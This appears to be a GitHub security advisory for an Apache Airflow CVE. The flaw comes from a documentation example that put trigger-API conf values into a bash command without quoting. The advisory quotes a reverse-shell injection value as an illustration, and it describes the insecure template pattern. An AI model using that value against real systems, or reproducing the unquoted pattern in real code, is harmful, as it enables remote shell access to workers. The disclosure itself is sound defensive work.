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GHSA-c85c-g9wv-pph2: Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine

criticalCVSS 9.1CVE-2026-42252
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

Details

Source
GitHub Security Advisories (INTL · database · site)
Severity
critical — CVSS 9.1
Published
2026-06-01
Last updated
2026-07-09
Exploitation
Not in CISA KEV at last sync

Original advisory: https://github.com/advisories/GHSA-c85c-g9wv-pph2

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Referenced CVEs

CVECSIRTS overviewExternal
CVE-2026-42252coverage & exploitation statusNVD · CVE.org

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